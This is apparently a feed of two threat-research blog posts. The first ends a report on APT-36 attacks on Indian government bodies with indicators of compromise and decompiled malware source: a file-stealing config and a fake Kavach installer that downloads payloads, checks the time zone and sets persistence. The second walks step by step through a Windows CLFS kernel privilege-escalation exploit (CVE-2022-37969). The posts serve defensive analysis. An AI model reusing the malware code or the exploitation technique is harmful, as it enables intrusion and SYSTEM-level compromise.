Indian governmental organizations. As described in this blog, they leverage various tactics to lure the victims. This group has continued evolving its tactics, techniques and procedures (TTPs) while adding new tools to the arsenal. Applications used internally at the Indian government organisations are a popular choice of social engineering theme used by APT-36 groups. Users should exercise caution while downloading applications and always ensure to download the applications only from official sources. Since APT-36 leverages malvertising to hijack the Google search results, we advise the users to be extra careful when clicking on links on Google search results and always verify that they are indeed visiting the official website. We continue to closely monitor the latest developments of this APT group and ensure to protect our customers against these threats. Indicators of compromise Limepad C2 domains ncloudup[.]com gcloudsvc[.]com Credential harvesting sites nic-updates[.]in
 kavachmail-govin[.]rf[.]gd Attacker-registered domains spoofing Kavach site kavach-app[.]com
 kavachguide[.]com 
kavach-app[.]in 
get-kavach[.]in
 getkavach[.]com
 kavachsupport[.]com
 kavachdownload[.]in kavachauthentication.blogspot[.]com Post-infection IOCs 139.59.79[.]86
139.59.79[.]86/song.mp3 
139.59.79[.]86/OneDriveHandler45_bf.zip 
139.59.79[.]86/OneDriveHandler45.zip 139.59.79[.]86/C2L!Dem0&PeN/A@llPack3Ts/Cert.php
 wzxdao[.]com 
wzxdao[.]com/onedrivehandlerx86.zip
 wzxdao[.]com/OnrDriveHandlerx86.zip Decoy file URLs hxxp://139.59.23[.]88/confirmation_id.pdf hxxps://ncloudup[.]com/trendmic/details.pdf hxxp://wzxdao[.]com/resultupdate.jpg http://139.59.79[.]86/Pictures.jpg File hashes File MD5 hash Filename 123b180ed44531bfbac27c6eb0bbe01d Update Portal.vhdx 3817590cf8bec4a768bb84405590272f Student online update.exe 0ed6451ffe34217e44355706f4900ecc NvidiaUpdate (2).scr 94daa776792429d1cb65edc1d525e2fc Student detail.vhdx c195d6bb06c93b94d39e5c1a2dfc6792 Confirmation_ID.vhdx 889c5c98e88c4889220617f57f5480f7 details.exe ac3f2c8563846134bb42cb050813eac8 Confirmation_ID.exe Appendix Limepad config file import os, logging from regulator import FileMatcher as r import sys QUERY = [] USERHOME = os.path.join(os.environ['HOMEDRIVE'], os.environ['HOMEPATH']) class FILEFLAG: QUEUED, SYNCING, SYNCED, IGNORED = range(4) VERSION = '0.1-$Revision: 18 $' VERSION = VERSION.replace('$', '').replace('Revision: ', '').strip() STARTDATA = os.path.join(os.environ['APPDATA'], 'Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Limepad') ROOTDATA = os.path.join(os.environ['APPDATA'], 'Limepad') USERFILE = 'Limepad.db' USERFILE = os.path.join(ROOTDATA, USERFILE) LOGFILE = 'Limepad.log' LOGFILE = os.path.join(os.environ['APPDATA'], LOGFILE) TEMP_UPLOAD_FOLDER = os.path.join(ROOTDATA, 'tup') LOCKDOORS = 'URL=file:///' + sys.executable DOORS = ['.dll', '.url'] SERVERS = [<server_address>] DUSSEN = '696E646961' SERVER_PUBKEY = '' DBTABLES = {'file': [('path', 'VARCHAR'), ('filename', 'VARCHAR'), ('size', 'INT'), ('state', 'INT'), ('modified', 'REAL'), ('created', 'REAL'), ('queuepriority', 'INT'), ('defertill', 'INT DEFAULT 0'), ('rpath', 'VARCHAR DEFAULT NULL')], 'syncdirs': [ ('path', 'VARCHAR'), ('rule', 'VARCHAR')], 'config': [ ('key', 'VARCHAR'), ('value', 'VARCHAR')]} DBTABLES_INDEXES = {'file': ('queuepriority', 'unique: path, filename'), 'config': ('unique: key', )} SYNC_RULES_CONFIG = {'HOME': r(" '*.pdf' or '*.txt' or '*.doc*' or '*.xls*' or '*.ppt*' or '*.mdb*' or '*.dwg' or '*.dxf' or '*.dbx' "), 'FIXED': r(" '*.pdf' or '*.doc*' or '*.xls*' or '*.ppt*' or '*.mdb*' or '*.dwg' or '*.dbx' "), 'REMOVABLE': r(" size < 5 mb if ('*.jpg' or '*.jpeg' or '*.avi') else (size < 100 mb and ('*.pdf' or '*.txt' or '*.doc*' or '*.xls*' or '*.ppt*' or '*.mdb*' or '*.dwg' or '*.dxf'))")} OPTIMIZED_SEND_BLOCKSIZE = 256000 LOG_LEVEL = logging.WARN logging.basicConfig(filename=LOGFILE, level=LOG_LEVEL) if __name__ == '__main__': print globals() Kavach fake installer - Python decompiled code import os from win32com.client import Dispatch import platform import time #from tzlocal import get_localzone import sys from os.path import exists as file_exists import urllib import time from time import sleep import zipfile #import win32com.client as win32 import win32com as win32 import subprocess def is_os_64bit(): return platform.machine().endswith('64') def append_me(text): with open("c:\programdata\WUDFHost\logs.txt", "a") as myfile: myfile.write(text) def write_me(text): if file_exists("c:\programdata\WUDFHost\logs.txt") is True: print('bab') pass else: print('damn') with open("c:\programdata\WUDFHost\logs.txt", "w") as myfile: myfile.write(text) def create_dir(text): if os.path.exists(text) is False: os.mkdir(text) def download_us(url,path): if os.path.exists(path) is False: urllib.urlretrieve(url,path) else: print("skipping") append_me("skipping") def define_me(text): try: if os.path.exists(text) is True: print("zip file exists") append_me("zip file exists") with zipfile.ZipFile(text, 'r') as zip_ref: zip_ref.extractall("c:\\programdata\\WUDFHost") else: print("not find extracted file") append_me("not find extracted file") except Exception as e: print("already running file") def deaf(): try: if os.path.exists("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319") is True: download_us("http://<REDACTED>/WUDFHost45.zip","c:\\programdata\WUDFHost45.zip") define_me("c:\\programdata\\WUDFHost45.zip") pass else: download_us("http://<REDACTED>/WUDFHost35.zip","c:\\programdata\WUDFHost35.zip") define_me("c:\\programdata\\WUDFHost35.zip") pass except Exception as e: print("excption in deaf") def openWorkbook(xlapp, xlfile): try: xlwb = xlapp.Workbooks(xlfile) #xlwb.Close(True) except Exception as e: try: xlwb = xlapp.Workbooks.Open(xlfile) #xlwb.Close(True) except Exception as e: print(e) xlwb = None return(xlwb) def define_me_replica(text): try: if os.path.exists(text) is True: print("zip file exists") append_me("zip file exists") username = os.environ['USERNAME'] print(username) with zipfile.ZipFile(text, 'r') as zip_ref: zip_ref.extractall("c:\\users\\"+username+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") else: print("not find extracted file") append_me("not find extracted file") except Exception as e: print("already running file") def def_frames(): try: if os.path.exists("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319") is True: download_us("http://<REDACTED>/WUDFAgent_45.zip","c:\\programdata\\WUDFAgent_45.zip") define_me_replica("c:\\programdata\\WUDFAgent_45.zip") pass else: download_us("http://<REDACTED>/WUDFAgent_35.zip","c:\\programdata\\WUDFAgent_35.zip") define_me_replica("c:\\programdata\\WUDFAgent_35.zip") pass except Exception as e: pass def patience_limit(): try: if os.path.exists("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319") is True: subprocess.Popen(["c:\\programdata\\WUDFHost\\WUDFAgent.exe"]) pass else: subprocess.Popen(["c:\\programdata\\WUDFHost\\WUDFAgent.exe"]) pass except Exception as e: pass if __name__ == '__main__': try: create_dir("c:\programdata\WUDFHost") write_me("Starter\n") #list_folders = [] #list_files = [] #lines = '' username = os.environ['USERNAME'] #for root, dirs,files in os.walk('c:\\users\\'+username+'\\appdata',topdown=False): # for name in files: # print(os.path.join(root,name)) # list_folders.append(os.path.join(root,name)) # for name in dirs: # print(os.path.join(root,name)) # list_files.append(os.path.join(root,name)) print("Directory Created") if '.py' not in sys.argv[0]: #create_dir("c:\programdata\WUDFHost") print("Directory Created") #write_me("Starter") print("Log File Created") tzname = time.tzname #local_tz = get_localzone() print("Got the TimeZone") append_me("Got the TimeZone : "+str(tzname) + "\n") if "sri lanka" in str(tzname).lower() or "india" in str(tzname).lower(): print("Correctly Identified TimeZone") if os.path.exists("c:\\Program Files\\Microsoft Office\\Office15") is True or os.path.exists("c:\\Program Files\\Microsoft Office\\Office16") is True: print("Office is 2010 or 2016") append_me("Office is 2010 or 2016\n") if is_os_64bit(): print("Machine is x64") append_me("Machine is x64\n") append_me("File Downloading Started\n") print("File Downloading Started") ##def_frames() append_me("All Files Downloaded\n") print("All Files Downloaded") deaf() print("Files Extracted") append_me("Files Extracted\n") print("Going for always") append_me("going for always") else: print("Machine is x86") append_me("Machine is x86\n") ##def_frames() append_me("All Files Downloaded\n") print("All Files Downloaded") print("Going for always") append_me("going for always") deaf() print("Files Extracted") append_me("Files Extracted\n") else: print("Other than Office 16 or Office 13") append_me("Other than Office 16 or Office 13\n") ##def_frames() append_me("All Files Downloaded\n") print("All Files Downloaded") deaf() print("Going for always") append_me("going for always") print("Files Extracted") append_me("Files Extracted\n") list_folders = [] list_files = [] for root, dirs,files in os.walk('c:\\users\\'+username+'\\appdata',topdown=False): for name in files: print(os.path.join(root,name)) list_folders.append(os.path.join(root,name)) for name in dirs: print(os.path.join(root,name)) list_files.append(os.path.join(root,name)) patience_limit() else: print("Not the time Zone You want to run") append_me("Not the time Zone You want to run\n") else: print("Find my self in .py directory") append_me("Find my self in .py directory\n") except Exception as e: #append_me(str(e)) print(str(e)) append_me(str(e)+"\n") Thu, 03 Nov 2022 08:00:02 -0700 Sudeep Singh https://www.zscaler.com/blogs/security-research/apt-36-uses-new-ttps-and-new-tools-target-indian-governmental-organizations https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part2-exploit-analysis In Part 1 of this blog series, we analyzed the root cause for CVE-2022-37969. In this blog, we will present an in-the-wild exploit that was discovered by Zscaler ThreatLabz that successfully leveraged CVE-2022-37969 for privilege escalation on Windows 10 and Windows 11. Debugging Environment The analysis and debugging for the exploitation was conducted in the following environment. Windows 11 21H2 version 22000.918 CLFS.sys 10.0.22000.918 Windows 10 21H2 version 19044.1949 CLFS.sys 10.0.19041.1865 Prerequisite Before starting to analyze the exploitation of CVE-2022-37969, we’d like to introduce some key structures in the kernel related to this exploit. The _EPROCESS structure is an opaque structure that represents the process object for a process in the kernel. In other words, each process running on Windows has its corresponding _EPROCESS object somewhere in the kernel. Figure 1 shows the layout of the _EPROCESS structure in the kernel for Windows 11. This layout might change significantly between Windows versions. Figure 1. The _EPROCESS structure on Windows 11 The Token field is stored at offset 0x4B8 in the _EPROCESS structure. The _EPROCESS.Token points to an _EX_FAST_REF structure rather than a _TOKEN structure. Based on the layout of the _EX_FAST_REF structure, its three fields (Object, RefCnt, Value) have the same offset, the last 4 digits of the _EX_FAST_REF object represents the RefCnt field that denotes the reference to this token. Therefore, we can zero the last 4 digits out and get the actual address of the _TOKEN structure. The _TOKEN structure is a kernel structure that describes the security context of a process and contains information such as the token id, token privileges, session id, token type, logon session, etc. Figure 2 shows the structure layout of the _TOKEN structure in the kernel. Figure 2. The _Token structure on Windows 11 In general, manipulating the _Token object can be used to execute privilege escalation in the kernel. Two general techniques are involved, one is token replacement which means that a low-privileged token associated with a process is replaced with a high-privileged token associated with another process. The second technique is token privilege adjustment which means that more privileges are added and enabled to an existing token. The exploit captured by ThreatLabz for CVE-2022-37969 leveraged the token replacement technique. In user space, a user can use the CreatePipe function to create an anonymous pipe, which returns handles to the read and write ends of the created pipe. BOOL CreatePipe( [out] PHANDLE hReadPipe, [out] PHANDLE hWritePipe, [in, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes, [in] DWORD nSize ); The user is able to add attributes to the pipe. The attributes are a key-value pair and stored in a linked list. The PipeAttribute structure is the representation of the attributes in kernel space, which is allocated in the PagedPool. The PipeAttribute structure is defined below. struct PipeAttribute { LIST_ENTRY list ; char * AttributeName; uint64_t AttributeValueSize; char * AttributeValue; char data [0]; }; typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY; The memory layout of the PipeAttribute structure is illustrated in Figure 3. Figure 3. PipeAttribute structure A pipe attribute can be created on a pipe using the NtFsControlFile API, where the 6th parameter FsControlCode is set to 0x11003C. The attribute value can be read using the NtFsControlFile API, where the 6th parameter FsControlCode is set to 0x110038. The _ETHREAD structure is an opaque structure that represents the thread object for a thread in the kernel. Figure 4 shows the layout of the _ETHREAD structure. The PreviousMode field is located at offset 0x232 in the _ETHREAD structure. Figure 4. The _ETHREAD structure Regarding the PreviousMode, Microsoft’s documentation states “When a user-mode application calls the Nt or Zw version of a native system services routine, the system call mechanism traps the calling thread to kernel mode. To indicate that the parameter values originated in user mode, the trap handler for the system call sets the PreviousMode field in the thread object of the caller to UserMode.” We take the NtWriteVirtualMemory function as an example. Figure 5 shows the implementation of the NtWriteVirtualMemory function. When PreviousMode is set to 1 (UserMode) the call of the NT or Zw version function comes from user space, where it conducts address validation. In this case, an arbitrary write across the whole kernel memory will fail. On the contrary, when PreviousMode is set to 0 (KernelMode), the address validation is skipped and the arbitrary kernel memory address can be written. The exploit targeting Windows 10 for CVE-2022-37969 leverages PreviousMode to implement an arbitrary write primitive. Figure 5. The implementation of the NtWriteVirtualMemory function Exploitation on Windows 11 In the previous section, we introduced the key structures that will be involved in the process of exploitation. Let’s deep dive into the sample of the exploit. The exploit involves the following steps. 0x01 Check Windows OS version The exploit first checks if the Windows operating system (OS) version running the sample is supported. Figure 6 shows the pseudo-code snippet for checking the Windows OS version. Figure 6. The pseudo-code snippet checking the Windows OS version Figure 7 demonstrates a Windows OS Build Number that consists of the OS build number and UBR. Figure 7. Windows OS Build Number The exploit first obtains the _PEB object via NtCurrentTeb()->ProcessEnvironmentBlock, then gets the OS Build Number from the OSBuildNumber field at offset 0x120 in the _PEB structure. The UBR can be obtained via querying the value of UBR in the registry key HKEY_LOCAL_MACHINE\Software\\Microsoft\Windows NT\CurrentVersion. Once the exploit confirms that the targeting Windows is supported, the code stores the offset of the Token field for the _EPROCESS structure in a global variable. In our debugging environment for Windows 11 (21H2) 10.0.22000.918, the offset was equal to 0x4B8. Based on the code in Figure 6, we summarize the supported Windows OS version in Figure 8. Figure 8. The supported Windows OS version (before patching) Zsclaer’s ThreatLabz verified the exploit in the following versions, where a local privilege escalation can be performed successfully. Other vulnerable Windows OS versions in Figure 8 have not been verified by ThreatLabz at the time of publication. Windows 10 21H2 version 19044.1949, Windows 10 Enterprise Windows 10 20H2 version 19042.1949, Windows 10 Enterprise Windows 11 21H2 version 22000.918, Windows 11 Pro x64 0x02 Retrieve _EPROCESS and _TOKEN Next, the exploit obtains the key data structures _EPROCESS and _TOKEN for the current process and the System process (always PID 4) owning the SYSTEM privilege via calling the NtQuerySystemInformation API with the appropriate parameters. The NtQuerySystemInformation API is used to retrieve the specified system information based on the first parameter, with the declaration shown below. __kernel_entry NTSTATUS NtQuerySystemInformation( [in] SYSTEM_INFORMATION_CLASS SystemInformationClass, [in, out] PVOID SystemInformation, [in] ULONG SystemInformationLength, [out, optional] PULONG ReturnLength ); Figure 9 shows the pseudo-code snippet to obtain the corresponding address of the _EPROCESS and _TOKEN objects for the current process and the System process. Figure 9. The pseudo-code snippet to obtain the corresponding address of the _EPROCESS and _TOKEN objects This function is described as follows: 1. Obtain the function address of the NtQuerySystemInformation API. 2. Call the NtQuerySystemInformation API, where the first parameter is set with SystemExtendedHandleInformation (0x40). If the function returns an NTSTATUS success, the retrieved information is stored at the second parameter SystemInformation, which is a pointer to the SYSTEM_HANDLE_INFORMATION_EX structure whose memory layout is illustrated in Figure 10. Next, the code locates the _EPROCESS object associated with the current process. Finally, the address of the _EPROCESS object is stored in a global variable. Figure 10. The memory layout of the SYSTEM_HANDLE_INFORMATION_EX structure 3. Call the NtQuerySystemInformation API again, where the first parameter is set with SystemExtendedHandleInformation (0x40). If the function returns an NTSTATUS success, the code locates the _EPROCESS object associated with the System process (PID 4). Finally, the address of the System _EPROCESS object is stored in a global variable. 4. Obtain the address of the Token field for the _EPROCESS object representing the current process and the address of the Token field of the _EPROCESS object representing the System process. Both addresses are stored in corresponding global variables. The exploit also stores some key data structures in global variables. We summarize these global variables and what they represent in Figure 11. Figure 11. The key global variables in the exploit 0x03 Check access token The exploit calls the OpenProcessToken function to open the access token associated with the current process. A pointer to a handle that identifies the newly opened access token is stored at the third parameter when the OpenProcessToken function returns. Then, the exploit calls the NtQuerySystemInformation API, where the first parameter is set with SystemHandleInformation (0x10). If it returns an NTSTATUS success, it checks if the handle that identifies the newly opened access token exists in the system handle list. Figure 12 shows the pseudo-code snippet for checking the access token. Figure 12. The pseudo-code snippet for checking the access token 0x04 Obtain the constant offset between the two bigpools representing the Base Block As shown in Figure 9 in Part 1, the Proof-of-Concept code for CVE-2022-37969 first creates a base log file MyLog.blf via the CreateLogFile API. Then the code creates dozens of base log files named MyLog_xxx.blf, where Zscaler ThreatLabz’s PoC uses a constant count. The exploit code uses the following advanced technique to ensure the offset between the two subsequently created bigpools representing the Base Block constant. Figure 13 shows the code snippet to obtain the constant value between two adjacent bigpools representing the Base Block. Figure 13. The code snippet to obtain the constant value between two adjacent bigpools representing the Base Block After every new base file named MyLog_xxx.blf is created, the code calls the ZwQuerySystemInformation API, where the first parameter is set with SystemBigPoolInformation(0x42). If the function returns an NTSTATUS success, the retrieved information is stored at the second parameter SystemInformation, which is a pointer to the SYSTEM_BIGPOOL_ENTRY structure that holds all bigpool memory at runtime. Then it locates the bigpool representing the Base Block of a base log file, where the size of the bigpool must be 0x7a00, and the tag name of the bigpool is “Clfs”. The address of the bigpool is stored in a local array. Next, in a loop, the code checks if the offset between the base block of the N-th BLF and the base block of the N+1-th BLF is constant. The code will jump out of the loop until the offset is constant. In our debugging environment, the constant value is 0x11000. The constant value plus 0x14B is set to the cbSymbolZone field in the Base Record Header. 0x05 Craft the base log file Part 1 of this blog series describes the process of crafting the base log file in detail. Before crafting the base log file, the exploit code performs heap spraying to set up the controlled memory. Figure 14 shows the process of heap spraying. Figure 14. Perform heap spraying to set up memory Figure 15 shows the memory layout after performing heap spraying. Figure 15. The memory layout after performing heap spraying 0x06 Module-gadget performing arbitrary write primitive Figure 16 shows the code snippet for performing an arbitrary write on the PipeAttribute object. Figure 16. The code snippet for performing an arbitrary write on the PipeAttribute object This code snippet is described as follows: 1. Call the CreatePipe function to create an anonymous pipe, and add a pipe attribute on the pipe using the NtFsControlFile API, where the 6th parameter FsControlCode is set to 0x11003C. Then the code calls the ZwQuerySystemInformation API, where the first parameter is set with SystemBigPoolInformation(0x42). After the function returns an NTSTATUS success, the retrieved information is a pointer to the SYSTEM_BIGPOOL_ENTRY structure that holds all bigpool memory at runtime. Finally, the exploit locates the bigpool representing the newly created PipeAttribute object. The variable v30 stores the kernel address of this PipeAttribute object. Figure 17 shows the memory layout of this created PipeAttribute object in the kernel. Figure 17. The memory layout of this created PipeAttribute object in the Windows kernel 2. The global variable qword_1400A8108 stores the kernel address of the _EPROCESS object for the System (PID 4) process. Then the exploit performs heap spraying shown in Figure 18. The address of the AttributeValueSize field in the PipeAttribute object is set at offset N*8+8 in the memory region (0x10000 ~ 0x1010000). The result of addr_EPROCESS_System & 0xfffffffffffff000 is written at offset 0xFFFFFFFF, and 0x414141414141005A is written at offset 0x100000007. Figure 18. CVE-2022-37969 exploit performs heap spraying 3. Arrange the memory region (0x5000000~0x5100000), where the address of the ClfsEarlierLsn function is stored at 0x5000008, and the address of the SeSetAccessStateGenericMapping function is stored at 0x5000018 (see Figure 19). Figure 19. The memory region(0x5000000~0x5100000) 4. Trigger the CLFS vulnerability. The CClfsBaseFilePersisted::RemoveContainer function will be hit. Figure 20 shows the location of dereferencing a corrupted pointer to a fake CClfsContainer object in CLFS.sys. The data that the address being dereferenced points to can be controlled and manipulated by heap spraying in user space. Figure 20. Dereference the corrupted point to the CClfsContainer object The fake vftable in the fake CClfsContainer object points to 0x5000000, where the address of the ClfsEarlierLsn function is stored at 0x5000008, and the address of the SeSetAccessStateGenericMapping function is stored at 0x0x5000018. The subsequent code will call the ClfsEarlierLsn function and the nt!SeSetAccessStateGenericMapping function successively. After the ClfsEarlierLsn function returns, the register RDX is equal to 0xFFFFFFFF. Figure 21 shows what the SeSetAccessStateGenericMapping function does and how to perform an arbitrary write. Figure 21. Perform an arbitrary write on the PipeAttribute object At the end of the SeSetAccessStateGenericMapping function, the AttributeValue field in the PipeAttribute object has been overwritten with addr_EPROCESS_System & 0xfffffffffffff000. The addr_EPROCESS_System represents the address of the _EPROCESS object for the System process (PID 4). 5. Read the pipe attribute on a pipe using the NtFsControlFile API, where the 6th parameter FsControlCode is set to 0x110038. This obtains the pipe attribute from the address that the overwritten AttributeValue field points to and copies the kernel data into a heap buffer in user space. The overwritten AttributeValue field points to the address addr_EPROCESS_System & 0xfffffffffffff000. Then, the code obtains the Token field in the _EPROCESS object for the System (PID 4) process based on the offset of the Token field. Finally, the value of the Token field for the System process (PID 4) is stored in a global variable qword_1400A8128. Figure 22. Store the value of the Token field for the System process (PID 4) 0x07 Token replacement Figure 23 shows the code snippet for performing token replacement on Windows 11. Figure 23. The code snippet for performing token replacement In order to complete the token replacement, the exploit triggers the CLFS vulnerability for the second time and performs the following actions. 1. Arrange the memory via heap spraying. The resulting address of the Token field for the current process minus 8 is set up at offset N*8+8 in the memory region (0x10000 ~ 0x1010000). The value of the Token field in the _EPROCESS object for the System process (PID 4) is written at offset 0xFFFFFFFF as shown in Figure 24. Figure 24. Arrange the memory via heap spraying 2. Trigger the CLFS vulnerability to complete token replacement. The CClfsBaseFilePersisted::RemoveContainer function will be hit. Figure 25 shows the location of dereferencing a corrupted pointer to a fake CClfsContainer object in CLFS.sys. The data that the address being dereferenced points to can be controlled and manipulated by heap spraying in user space. Figure 25. Dereference the corrupted point to the CClfsContainer object Again, the subsequent code will call the ClfsEarlierLsn function and the nt!SeSetAccessStateGenericMapping function successively. After the ClfsEarlierLsn function returns, the register RDX is equal to 0xFFFFFFFF. Figure 26 shows what the SeSetAccessStateGenericMapping function does and how to perform an arbitrary write. Figure 26. Perform an arbitrary write primitive to complete token replacement At the end of the SeSetAccessStateGenericMapping function, the token replacement has been completed in Figure 27. The Token for the current process has been replaced with the Token for the System process (PID 4). This means that the current process has successfully elevated privileges to SYSTEM. Figure 27. Gain the SYSTEM privilege successfully. 3. Spawn a command prompt (cmd.exe) with the newly obtained SYSTEM privilege. Figure 28 shows that the exploit spawns cmd.exe with the SYSTEM privilege. Figure 28. Spawn a cmd with SYSTEM privilege We have summarized the flow of the exploitation targeting Windows 11 in Figure 29. Figure 29. The flow of the exploitation targeting Windows 11 Further, the process of performing an arbitrary write on a PipeAttribute object and token replacement is demonstrated in Figure 30. Figure 30. The process of performing arbitrary write on a PipeAttribute object and token replacement on Windows 11 Exploitation on Windows 10 We broke down the process of exploitation targeting Windows 11 into 7 steps. For Windows 10, the process of exploitation is still classified into 7 steps, Steps 1-5 are the same as Windows 11. Performing an arbitrary write primitive and token replacement are different from the steps in Windows 11. Figure 31 shows the code snippet to perform an arbitrary write and token replacement on Windows 10. Figure 31. Perform arbitrary write primitive and token replacement on Windows 10 Performing an arbitrary write primitive and token replacement for Windows 10 involves the following steps. 1. Perform heap spraying to set up the memory, where 0x0018000000000800 is written at offset 0xFFFFFFFF, and 0x000F000000000000 is written at offset 0x100000007. Figure 32 shows the memory around 0xFFFFFFFF. Figure 32. Arrange the memory region (0xFFFFFFFF ~ 0x10000000E) In addition, Figure 33 shows the layout of the memory region (0x10000~0x1010000). The PreviousMode field is located at offset 0x232 in the _ETHREAD structure. The value (addr_of_PreviousMode - 8) is set up at offset N*8+8 in the memory region starting at 0x10000. Figure 33. The layout of the memory region (0x10000~0x1010000) 2. Arrange the memory region (0x5000000~0x5100000), where the address of the ClfsEarlierLsn function is stored at 0x5000008, and the address of the SeSetAccessStateGenericMapping function is stored at 0x0x5000018 (see Figure 34). Figure 34. The memory region (0x5000000~0x5100000) 3. Trigger the CLFS vulnerability. The CClfsBaseFilePersisted::RemoveContainer function will be hit. Figure 35 shows the location of dereferencing a corrupted pointer to a fake CClfsContainer object in CLFS.sys. The data that the address being dereferenced points to can be controlled and manipulated by heap spraying in user space. Figure 35. Dereference the corrupted pointer to the CClfsContainer object The fake vftable in the fake CClfsContainer object points to 0x5000000, where the address of the ClfsEarlierLsn function is stored at 0x5000008, and the address of the SeSetAccessStateGenericMapping function is stored at 0x0x5000018. The subsequent code will call the ClfsEarlierLsn function and the nt!SeSetAccessStateGenericMapping function successively. After the ClfsEarlierLsn function returns, the register RDX is equal to 0xFFFFFFFF. Figure 36 shows what the SeSetAccessStateGenericMapping function does and how to perform an arbitrary write. Figure 36. Perform an arbitrary write on PreviousMode on Windows 10 At the end of the SeSetAccessStateGenericMapping function, the PreviousMode in the _ETHREAD object is set to 0, which means that it allows an unconstrained read/write operation across the whole kernel memory using NtReadVirtualMemory and NtWriteVirtualMemory. This is a powerful method to enable the read/write. At this point, the exploit is ready to perform an arbitrary write. 4. Call the NtWriteVirtualMemory function to overwrite the buffer pointed by a local pointer variable with the value of the Token field in _EPROCESS for System (PID 4). Next, the code calls the NtWriteVirtualMemory function again to overwrite the Token field in _EPROCESS for the current process with the data (the value of the Token field in _EPROCESS for System), which is stored in the buffer pointed by this local pointer variable, which completes the token replacement. Figure 37 demonstrates that the Token field in _EPROCESS for the current process has been replaced with the Token field in _EPROCESS for the process System (PID 4). Figure 37. Token replacement on Windows 10 5. Call the NtWriteVirtualMemory to overwrite the PreviousMode field in the _ETHREAD object in order to complete PreviousMode restoration, which can prevent the newly launched process with the SYSTEM privilege from crashing. 6. Spawn a command prompt (cme.exe) with the SYSTEM privilege as shown in Figure 38. Figure 38. Spawn a cmd with the SYSTEM privilege on Windows 10 In the end, the process of performing arbitrary write on PreviousMode and token replacement on Windows 10 is demonstrated in Figure 39. Figure 39. The process of performing arbitrary write on PreviousMode and token replacement on Windows 10 Generic Exploitation Compatible with Windows 10 and Windows 11 ThreatLabz tested the exploit code targeting Windows 10 on Windows 11 via patching the binary of the exploit. After the CLFS vulnerability is triggered, the _EThread.PreviousMode is overwritten with 0, which leads to the following crash in Figure 40. Figure 40. A crash occurs after _EThread.PreviousMode is set to 0 on Windows 11 As shown in Figure 36, the exploit code overwrites PreviousMode via calling SeSetAccessStateGenericMapping, which can lead to a corrupted AffinityFill field and produce a crash on Windows 11. Figure 41 shows the offsets of PreviousMode and AffinityFill in the _EThread structure. Figure 41. The offsets of PreviousMode and AffinityFill in the _EThread structure Let’s assume that only PreviousMode (1 byte) is overwritten to 0 via a newly specified gadget. We select nt!RtlClearBit as this specified gadget. We can rearrange the memory region (0x5000000~0x5100000), where the address of the nt!RtlClearBit function is stored at 0x5000018, and the address of the CLFS!ClfsEarlierLsn function is stored at 0x0x5000008 (see Figure 42). In addition, we need to rearrange the memory region (0x10000~0x1010000). The address of the PreviousMode in the _ETHREAD object is set up at offset N*8+8 in the memory region starting at 0x10000. Figure 42. Trigger this CLFS vulnerability First the nt!RtlClearBit function is called. Figure 43 demonstrates how PreviousMode is overwritten. The BTR instruction stores the selected bit in the CF flag and clears the selected bit in the bit string to 0, where the EDX register is equal to 0. This results in PreviousMode being set to 0. We can see that at the end of the nt!RtlClearBit function only the PreviousMode field is overwritten and other subsequent bytes are not overwritten. Figure 43. PreviousMode is set to 0 via calling nt!RtlClearBit Then, the ClfsEarlierLsn function is called in the CLFS!CClfsBaseFilePersisted::RemoveContainer function. Thus, we can leverage another group of gadgets (nt!RtlClearBit and CLFS!ClfsEarlierLsn) to perform an arbitrary write on PreviousMode, which works well on Windows 11. The exploit code targeting Windows 10 will also work on Windows 11 by replacing the old gadgets with the new gadgets (nt!RtlClearBit and CLFS!ClfsEarlierLsn). As a result, leveraging the gadgets (nt!RtlClearBit and CLFS!ClfsEarlierLsn) can simplify the workflow of exploitation on Windows 11, where this CLFS vulnerability is only triggered once. Summary In this blog, we analyzed the process to exploit CVE-2022-37969 on Windows 10 and Windows 11. For Windows 11, the exploit first triggers the CLFS vulnerability to perform an arbitrary write for the PipeAttribute object. Then the exploit triggers the CLFS vulnerability a second time to perform token replacement. For Windows 10, the exploit only needs to trigger the CLFS vulnerability once and leverages the PreviousMode technique to implement an arbitrary write primitive, and then completes the token replacement by calling the NtWriteVirtualMemory function. Moreover, we also verified the PreviousMode technique still works on Windows 11. We demonstrated another group of gadgets (nt!RtlClearBit and CLFS!ClfsEarlierLsn) that can be leveraged to perform an arbitrary write for the PreviousMode. Thus, a generic exploit compatible with Windows 10 and 11 can leverage nt!RtlClearBit to perform an arbitrary write on PreviousMode, and then complete the token replacement by calling the NtWriteVirtualMemory function. Acknowledgments Special thanks to the Zscaler ThreatLabz team's Nirmal Singh for capturing this 0-day exploit sample and performing the initial analysis! Mitigation All users of Windows are encouraged to upgrade to the latest version. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against the in-the-wild 0-day exploit of CVE-2022-37969. Win32.GenExploit.LogFile Win32.Exploit.CVE-2022-37969 Cloud Sandbox Detection References https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/previousmode https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation https://www.gaijin.at/en/infos/windows-version-numbers https://www.lifewire.com/windows-version-numbers-2625171 https://research.nccgroup.com/2021/08/17/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-2/ https://research.nccgroup.com/2020/05/25/cve-2018-8611-exploiting-windows-ktm-part-5-5-vulnerability-detection-and-a-better-read-write-primitive/#previousmode---a-god-mode-primitive https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-24521.html https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/ https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37969 